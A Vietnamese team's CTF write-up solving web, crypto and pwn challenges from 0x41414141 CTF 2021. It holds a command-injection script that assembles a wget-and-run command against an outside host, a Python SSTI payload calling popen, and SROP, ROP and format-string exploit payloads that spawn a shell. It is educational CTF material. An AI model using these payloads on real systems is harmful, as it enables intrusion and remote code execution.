Writeup | 0x41414141 CTF 2021 | Web + Pwn + Crypto

PHAPHA_JIàN
20:02 13/02/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

WEB

author: n3mo

#HACKME

des của chall như sau, nó nói xạo á chứ mình test thì limit 5 char lận

tức là bài này ta có thể thực hiện command linux thoải mái với tối đa 5 character

bài này chôm idea từ 1 chall của anh da cam năm 2017

https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge

mình giải thích ý tưởng như sau

sử dụng > để chuyển hướng output nhằm tạo file đồng thời lợi dụng \ nhằm ám chỉ câu lệnh đó chưa kết thúc để có thể ghép nhiều phần của câu lệnh lại

với đoạn command trên thì ta có thể tạo được lệnh ls -t >g sort file trong thư mục theo thời gian và cho vào file g

nếu ta tạo được lệnh đó thì liệu ta có thể tạo được 1 bash để rce thoải mái không?

câu trả lời là không, vì ls nó sort file mặc định theo thứ tự mã ascii nên ta sẽ không thể tái tạo được 1 số lệnh theo ý muốn

đoạn trên như là proof of work để mình thực hiện các lệnh tiếp theo,

dưới đây là script để solve bài này

 
import re
import requests
import time
from time import sleep
payload = [
    
    r'>ls\\', 
    r'ls>_', 
    r'>\ \\', 
    r'>-t\\', 
    r'>\>g', 
    r'ls>>_',
    r'>234'
    r'>:1\\'
    r'>99\\',
    '>78\\', 
    '>56\\', 
    '>60\\', 
    '>21\\', 
    r'>\ \\', 
    '>et\\', 
    '>wg\\', 
    #r'>\>a',
    
    # exec
    r'sh _', 
    #r'sh g', 
]
requests.get("http://207.180.200.166:8000/?reset=1")
for i in payload:
    print("http://207.180.200.166:8000/?cmd="+i)
    r=requests.get("http://207.180.200.166:8000/?cmd="+i)
    sleep(0.5)
r=requests.get("http://207.180.200.166:8000/?cmd=cat g")
print(r.text)   

sau khi chạy file, lên trình duyệt run sh g

mặc dù nó trả về 500 error nhưng ta vẫn thấy có request tới tức là lệnh thực thi thành công.

  • Cách 2:

mình thử nl /* thì thấy server error nhưng khi thực hiện ls lại thì thấy xuất hiện một file mới là core, chắc cái này tác giả config sai nên bị bug chỗ này

đọc file core thì search thấy flag, tức là lệnh nl /* đã đọc toàn bộ hệ thống và cho vào file core :v

  • cách 3:
     

idea y chang cách 1 nhưng simple hơn đó là

ghi 1 file có tên là cat sau đó sử dụng file đó để đọc tệp :v

vì trong thư mục hiện tại chỉ có mỗi file tên là cat, nên khi * thì ta có thể call được lệnh cat ra

ez game

#MAZE

vào challange thì ta thấy một login page như sau

sau khi thử sqli thì mình không thấy vấn đề gì, tiếp theo thử robots.txt thì thấy 1 dir mới là /sup3rsecr37@p1
đây là một gui của graphql, buồn thay mình chưa sử dụng graphql lần nào, search một lúc thì mình cứ ném payload đại vô

mình thấy 1 cái đặc biệt là allTraders, nhìn qua các payload thì mình cũng biết sơ sơ truy vấn nó như thế nào

may thay gui này hỗ trợ cho mình như thế này

làm tiếp như thế 1 lúc ta sẽ được truy vấn như sau

ta có password và title, thử login vào trang lúc nãy

ngon, login thành công, bước tiếp theo mình tiếp tục fuzz

web có thêm 1 endpoint là trade, nhìn qua có vẻ giống sqli nên mình theo hướng sqli

mlem mlem, kiểu này thấy mùi server được code bằng python rồi

mà python thì thường đi với sqlite, nên mình cứ nhảy thẳng vào sqlite luôn

2 cột, oke chưa :v

chuẩn sqlite lun!

có table admin, select ra thôi ez game

ta có một endpoint là admin nên cứ thử login thôi

lul cứ tưởng done r ai ngờ :(

cần trôn u mình xem xét thì thấy.

có đoạn code sau trong script.js

var messages = [
    'Hey there 👋',
    'I see you made it to the admin panel',
    'but still you didn\'t escape the maze',
    'get the flag and beat the maze',
    getCurrentTime(),
    'show me what you got ' + globalThis.name
  ]

nhìn có vẻ nghi ngờ ở đây :v , mình tiếp tục nhìn vào cookie thì thấy

vậy chắc chắn lấy name từ cookie rồi render ra như thế

liên quan đến việc render thì nghĩ ngay tới SSTI, mà đã xác định ứng dụng sử dụng python nên thẳng tiến thôi.

để làm SSTI thì first step luôn luôn là detect để chắc chắn nó có phải là SSTI không

SSTI thì mình khá quen nên mình sẽ làm nhanh đoạn này

ở đây mình sử dụng os._wrap_close

payload mình dùng
 
[].__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('ls').read()

đến đây ta đọc flag là end game.

Crypto

author: lttn

#factorize

Đề mình để ở đây

Ta thấy p và q đều được tạo ra bằng cách :

  • p = base(1024 bit) | random number (512 bit)
  • q = base(1024 bit) | random number (512 bit)

Vì base giống nhau khi tạo p và q -> 512 bit đầu của p và q sẽ giống nhau. Giá trị của p và q sẽ gần nhau nên mình dùng fermat factor để tính p và q

Solution của mình

#eazy RSA

Đề bài cho ta 4 giá trị c,e,p,q

Ta thấy e = 16 = 24

Hay nói cách khác flag được encrypt RSA 4 lần với số mũ là 2

Vậy nếu ta lấy căn bậc 2 của c modulo n 4 lần thì có thể tìm lại được flag

Để có thể tính căn bậc 2 của c mình dựa vào Rabin cryptosystem

Solution của mình

 

from Crypto.Util.number import *
import itertools
from gmpy2 import *
c=3708354049649318175189820619077599798890688075815858391284996256924308912935262733471980964003143534200740113874286537588889431819703343015872364443921848
e=16
p=75000325607193724293694446403116223058337764961074929316352803137087536131383
q=69376057129404174647351914434400429820318738947745593069596264646867332546443
def square_root(c):
	n=p*q
	mp=pow(c,(p+1)//4,p)
	mq=pow(c,(q+1)//4,q)
	yp=int(gcdext(p,q)[1])
	yq=int(gcdext(p,q)[2])
	r1=(yp*p*mq+yq*q*mp)%n
	r2=(yp*p*mq-yq*q*mp)%n
	return list((r1,n-r1,r2,n-r2))
	
def solve(arr):
	tmp=[]
	for i in arr:
		tmp.append(square_root(i))
	return list(itertools.chain.from_iterable(tmp))
tmp=square_root(c)
for i in range(4):
	arr=tmp
	tmp=(solve(arr))
for i in arr:
	if b'flag' in long_to_bytes(i):
		print(long_to_bytes(i))
		break
		
		

#Staple AES

Đề bài được để ở đây

Mỗi cần connect server trẻ trả về cho chúng ta 1 đoạn cipher

Phân tích 1 chút :

Server trả về 48 bytes – > flag có 3 block -> len(flag) = 33

Từ đây ta có thể suy ra block cuối cùng của flag là : b’}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f’ ( mình đoán thế vì flag đa số kí tự cuối cùng là ‘}’ 😀

Vậy giả sử block cuối cùng trong 1 lần connect nào đó được shuffle thành block đầu tiên , lúc này ta có thể tính được encrypt(IV) bằng cách lấy block cuối xor 16 bytes đầu tiên của cipher

Vậy nếu như các block khác cũng được shuffle thành block đầu tiên, ta cũng có thể dễ dàng tính được các block ấy bằng cách lấy encrypt(IV) xor 16 bytes đầu của cipher nên mình sẽ brute force để tìm lại flag

Solution của mình

from pwn import *
ct=[]
def byte_xor( ba1, ba2):
        return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
for i in range(10):
	p=connect('161.97.176.150' ,'3167')
	rev=p.recvline().decode()[:-1]
	rev=bytes.fromhex(rev)
	if rev not in ct:
		ct.append(rev)
for cipher in ct:
	block1=b'}' + bytes([15])*15
	encryptIV=byte_xor(block1,cipher[0:16])
	for i in ct:
		print(byte_xor(encryptIV,i))
	

#delegate wallet

Đề được để ở đây

Bài này ta có thể thoải mái generate new wallet seed và nếu như ta đoán được wallet seed tiếp theo thì sẽ có flag

Thật ra bài này tác giả đã hint sẵn trong source code : prng_lcg

Ta thấy :

Vậy :

Lúc này đã có m ta có thể dể dàng tính c:

Đã có m và c ta có thể tính được state tiếp theo và get flag 😀

Solution ở đây

from pwn import *
from Crypto.Util.number import *
def next_state(arr):
	n=pow(2, 607) -1 
	m = (arr[2]-arr[1])* inverse(arr[1]-arr[0],n) % n
	c = arr[1]-m*arr[0] % n
	print(f"n: {n}")
	print(f"m: {m}")
	print(f"c: {c}")
	return (arr[-1]*m+c)%n
	
p=connect('161.97.176.150','4008')
rev=p.recvline()
print(rev)
rev=p.recvline()
print(rev)
states=[]
for i in range(3):
	p.sendline('1')
	state=int(p.recvline()[2:-1].decode())
	states.append(state)
	print(f"state {i}: {state}")
	rev=p.recvline()
	rev=p.recvline()
next_state=next_state(states)
p.sendline('2')
p.send(str(next_state))
print(f"Next state: {next_state}")
rev=p.recvline()
print(rev.decode())

#Encrypt0r

Đây là 1 bài blackbox với dao diện như sau:

Đem long_to_bytes thử và tất nhiên là tạch :))) Dù biết trước sẽ tạch nhưng mình vẫn thử 😦

Ta cần phải biết server encrypt thế nào trước đã mới có thể tính tiếp được 😀

Sau 1 lúc mò mẫm thì mình phát hiện như sau:

Thử nhập 0 và 1 :

Mình đoán đây có thể là RSA, thử vài số thật lớn :

Có lẻ là RSA thật vì encrypt theo RSA thì c sẽ được mod n, ở đây mình nhập số lớn bao nhiu thì kết quả trả về cũng chỉ khoảng 200 bit nên mình sẽ đi theo hướng này 🙂

Nếu là RSA, vậy thì cái flag ở ban đầu có lẽ là c

Lúc này ta còn thiếu e và n

Ta thử nhập 2 xem sao

Chứng tỏ e cũng khá lớn , vì nếu e là các số nhỏ như 3,11,17,.. thì c đã không chạm tới được n. Vậy thì e chắc có lẽ sẽ là 65537

Việc còn lại là tìm n:

Gỉa giữ ta nhập 1 số m nào đó , lúc này :

Nếu ta nhập 2 được c1 và nhập 3 được c2:

265537 = c1 + i*n => i*n = 265537 – c1

365537 = c2 + j*n => j*n = 365537 – c2

=> n = gcd(i*n, j*n) = gcd(265537– c1, 365537 – c2)

Vì n cũng khá nhỏ nên quăng n vào factordb thì ta có được các thừa số của n

Lúc này chỉ cần tính như RSA bình thường

PWN

Author: Quasar


#moving-signals

Phân tích cơ bản:

file:

$ file moving-signals
moving-signals: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

checksec:

$ checksec  moving-signals
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x40000)
    RWX:      Has RWX segments

r2:

$ r2 moving-signals
[0x00041000]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00041000]> afl
0x00041000    1 24           entry0
[0x00041000]> pdf entry0
            ;-- section..shellcode:
            ;-- segment.LOAD1:
            ;-- .shellcode:
            ;-- __start:
            ;-- _start:
            ;-- rip:
┌ 24: entry0 ();
│           0x00041000      48c7c7000000.  mov rdi, 0                  ; [01] -rwx section size 26 named .shellcode
│           0x00041007      4889e6         mov rsi, rsp
│           0x0004100a      4883ee08       sub rsi, 8
│           0x0004100e      48c7c2f40100.  mov rdx, 0x1f4              ; 500
│           0x00041015      0f05           syscall
└           0x00041017      c3             ret
[0x00041000]>

Qua công cụ r2 ta quan sát được luồng thực thi chính của chương trình. Quan sát các gadget.

Ropgadget:

$ ROPgadget  --binary moving-signals
Gadgets information
============================================================
0x0000000000041013 : add byte ptr [rax], al ; syscall
0x000000000004100f : mov edx, 0x1f4 ; syscall
0x000000000004100e : mov rdx, 0x1f4 ; syscall
0x000000000004100d : or byte ptr [rax - 0x39], cl ; ret 0x1f4
0x000000000004100c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x1f4
0x0000000000041018 : pop rax ; ret
0x0000000000041017 : ret
0x0000000000041010 : ret 0x1f4
0x0000000000041015 : syscall
Unique gadgets found: 9

Vì có gadget pop rax ; ret nên ta có thể điều khiển được $rax. Mình sẽ sử dụng syscall rt_sigreturn ($rax = 0xf)

Ta sẽ đưa các fake frame vào stack và làm cho rt_sigreturn gọi syscall với các fake frame của ta. Fake frame:

Tìm địa chỉ của /bin/sh trong chương trình:

pwndbg> search /bin/sh
moving-signals  0x41250 0x68732f6e69622f /* '/bin/sh' */
pwndbg>

Đã có đầy đủ payload của chúng ta sẽ như sau: payload = b'A'*8 + pop_rax + 0xf +syscall + frame.

Get flag:

screenshot

File solve: exploit.py

#external

file challenge: external libc

Phân tích file:

file:

$ file external
external: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=06cea603bc177acf3effdea190ad8a3c88a2a7a0, for GNU/Linux 3.2.0, not stripped

checksec:

$ checksec  external
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Xem mã giả bằng IDA pro:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-50h]
  puts("ROP me ;)");
  printf("> ", argv);
  read(0, &buf, 0xF0uLL);
  clear_got(0LL, &buf);
  return 0;
}

Ta dễ dàng nhận thấy lỗi buffer overflow xảy ra ở hàm read, khi buf nằm ở offset $rbp-0x32 mà hàm read lại đọc đến 0xf0. Nhưng lưu ý trong chương trình có hàm clear_got. Quan sát xem hàm này làm gì với got(global offset table):

GOT trước khi hàm clear_got được gọi:

0x403ff8:       0x0000000000000000      0x0000000000403e10
0x404008:       0x00007ffff7ffe180      0x00007ffff7fe85e0
0x404018 <puts@got.plt>:        0x00007ffff7e64550      0x00007ffff7e6b4b0
0x404028 <printf@got.plt>:      0x00007ffff7e44c50      0x0000000000401066
0x404038 <alarm@got.plt>:       0x00007ffff7eb9270      0x00007ffff7edcde0
0x404048 <signal@got.plt>:      0x00007ffff7e29ac0      0x0000000000000000
0x404058:       0x0000000000000000      0x00007ffff7fad6a0
0x404068:       0x0000000000000000      0x00007ffff7fac980
0x404078 <completed.0>: 0x0000000000000000      0x0000000000000000
0x404088:       0x0000000000000000      0x0000000000000000
0x404098:       0x0000000000000000      0x0000000000000000

GOT sau khi hàm clear_got được gọi:

0x403ff8:       0x0000000000000000      0x0000000000403e10
0x404008:       0x00007ffff7ffe180      0x00007ffff7fe85e0
0x404018 <puts@got.plt>:        0x0000000000000000      0x0000000000000000
0x404028 <printf@got.plt>:      0x0000000000000000      0x0000000000000000
0x404038 <alarm@got.plt>:       0x0000000000000000      0x0000000000000000
0x404048 <signal@got.plt>:      0x0000000000000000      0x0000000000000000
0x404058:       0x0000000000000000      0x00007ffff7fad6a0
0x404068:       0x0000000000000000      0x00007ffff7fac980
0x404078 <completed.0>: 0x0000000000000000      0x0000000000000000

Quan sát got ta thấy rằng địa chỉ của các hàm libc trong main đã bị xóa. Nên nếu ta điều khiển chương trình quay lại hàm main hay nhảy đến 1 hàm đã bị xóa trong got thì chương trình sẽ bị crash.

Quan sát 2 địa chỉ nằm dưới got của signal:

pwndbg> x/x 0x00007ffff7fad6a0
0x7ffff7fad6a0 <_IO_2_1_stdout_>:       0x00000000fbad2887
pwndbg> x/x 0x00007ffff7fac980
0x7ffff7fac980 <_IO_2_1_stdin_>:        0x00000000fbad208b

Thì ra đây là địa chỉ của IO_2_1_stdoinIO_2_1_stdout.

Quan sát các gadget:

$ ROPgadget  --binary external
Gadgets information
============================================================
              .....................
0x00000000004011a2 : call qword ptr [rax + 0x4855c35d]
0x0000000000401014 : call rax
0x0000000000401183 : cli ; jmp 0x401111
0x00000000004010d3 : cli ; ret
0x000000000040130b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401180 : endbr64 ; jmp 0x401114
0x00000000004010d0 : endbr64 ; ret
0x00000000004012dc : fisttp word ptr [rax - 0x7d] ; ret
0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401029
0x00000000004010ce : hlt ; nop ; endbr64 ; ret
0x0000000000401012 : je 0x401018 ; call rax
0x00000000004010f7 : je 0x401107 ; mov edi, 0x404060 ; jmp rax
0x0000000000401139 : je 0x40114f ; mov edi, 0x404060 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401184 : jmp 0x401110
0x00000000004010fe : jmp rax
0x00000000004011d8 : ; ret
0x00000000004010f9 : mov edi, 0x404060 ; jmp rax
0x0000000000401270 : mov rax, 0xe7 ; syscall
0x000000000040127c : mov rax, 1 ; syscall
0x00000000004010cf : nop ; endbr64 ; ret
0x00000000004011d7 : nop ; leave ; ret
0x00000000004011a3 : nop ; pop rbp ; ret
0x000000000040116f : nop ; ret
0x0000000000401143 : nop dword ptr [rax + rax] ; ret
0x000000000040117c : nop dword ptr [rax] ; endbr64 ; jmp 0x401118
0x0000000000401142 : nop word ptr [rax + rax] ; ret
0x0000000000401168 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040127b : or ecx, dword ptr [rax - 0x39] ; rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401273 : out 0, eax ; add byte ptr [rax], al ; syscall
0x00000000004012ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012f0 : pop r14 ; pop r15 ; ret
0x00000000004012f2 : pop r15 ; ret
0x00000000004012eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ef : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040116d : pop rbp ; ret
0x00000000004012f3 : pop rdi ; ret
0x00000000004012f1 : pop rsi ; pop r15 ; ret
0x00000000004012ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401277 : syscall
              ..................
Unique gadgets found: 106

Mình đã lọc bớt gadget hiển thị ra để WU đỡ dài. Quan sát gadget ta thấy ta có thể điều khiển được thanh ghi $rax (giá trị =0 và = 1), $rdi, $rsi và cả $rbp và $rsp nữa :)) và 1 gadget quan trọng đó là syscall.

Ý tưởng khai thác:

payload đầu tiên:

Ý tưởng khai thác:

    payload = "A"*0x50
    payload += p64(bss) # $rbp
    """ Goi syscall read để ghi input vào bss"""
    #payload += p64(func_rtc)
    payload += p64(pop_rsi_pop_r15_ret)
    payload += p64(bss)
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(systemcall)
    """Goi syscall write để in ra addr"""
    payload += p64(0x4012f1) # gadget pop rsi ; pop r15 ; ret
    payload += p64(0x404060) # got cua  got_IO_2_1_stdout_
    payload += p64(0)
    payload += p64(pop_rdi) 
    payload += p64(1)
    payload += p64(func_ws) # gadget mov rax, 1 ; syscall
    """Gán eax = 0 cho lần gọi read tiếp theo"""
    payload += p64(mov_eax_0_leave_ret)

payload thứ 2:

    payload = p64(0) # 8 byte giá trị bất kỳ ở đây
    payload += p64(pop_rsi_pop_r15_ret)
    payload += p64(bss+0x38) # tức ta sẽ ghi input nhập vào sau gadget syscall ở dưới 
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(systemcall)

payload thứ 3:

Get flag:

screenshot

File solve: exploit.py

#the_pwn_inn

Phân tích file:

file:

$ file the_pwn_inn
the_pwn_inn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14fc1c701ef6aaae7b503071e34cc157ca6a2fad, for GNU/Linux 3.2.0, not stripped

checksec:

$ checksec the_pwn_inn
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Xem mã giả bằng IDA pro:

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  ignore_me_init_buffering(*(_QWORD *)&argc, argv, envp);
  ignore_me_init_signal();
  puts("Welcome to the pwn inn! We hope that you enjoy your stay. What's your name? ");
  vuln();
}

Hàm này không có gì bất thường, ta đi vào hàm vuln() được gọi trong hàm main:

void __noreturn vuln()
{
  char s; // [rsp+0h] [rbp-110h]
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]
  v1 = __readfsqword(0x28u);
  fgets(&s, 256, stdin);
  printf("Welcome ", 256LL);
  printf(&s);
  exit(1);
}

Ta có thể thấy khá rõ lỗi format string ở đây. Phía dưới là hàm exit(), nên khi chạy vào hàm vuln chương trình sẽ exit ngay. Vậy thì ta chỉ cần ghì đè got của exit() bằng addr của hàm main hay vuln thì ta đã giải quyết được việc exit ngay của chương trình.

Ý tưởng khai thác

leak libc:

Nhập vào chuỗi quen thuộc:

$ ./the_pwn_inn
Welcome to the pwn inn! We hope that you enjoy your stay. What's your name?
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
Welcome AAAAAAAA.0x7ffd5276ee30.(nil).(nil).0x7ffd527714b0.0x8.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025

Ta thấy được offset mà format sting trỏ vào chuỗi ta nhập vào là 6. Truyền got của 2 hàm mà ta muốn trỏ tới sau đó dùng %s ta sẽ leak được địa chỉ của 2 hàm libc đó.

payload = " -%8$s- "
payload += " -%9$s- 
payload += p64(got_puts)
payload += p64(got_fgets)

Mình hay tra libc ở https://libc.blukat.me/. Sau đó tải libc này về.

Lên shell:

Sử dụng công cụ one_gadget tìm gadget thích hợp:

$ one_gadget libc6_2.31-0ubuntu9.2_amd64.so
0xe6e73 execve("/bin/sh", r10, r12)
constraints:
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL
0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL
0xe6e79 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Mình sử dụng gadget 0xe6e76. Sau đó ta cộng gadget này với libc base, mình ghì đè got exit bằng địa chỉ vừa cộng này -> lên shell.

Get flag:

screenshot

File solve: exploit.py
 

Cám ơn các bạn đã đọc!

 

TIN LIÊN QUAN
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Tác giả: n3mo #calc.exe online source được cấp như sau, như thường lệ đối với mỗi bài có...
The Wanna.One team shares writeup of some solved Challenges with the purpose of academic exchanges. We always welcome and look forward to comments from any of you via email: wannaone.uit@gmail.com Bamboofox CTF( Sat, 16 Jan. 2021, 09:00 ICT — Mon, 18 Jan. 2021, 09:00 ICT) Re Author: phuonghoang This is...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Tác giả: n3mo #HPNY Bài này cung cấp source code, ta thấy eval ở đây, tức là bài...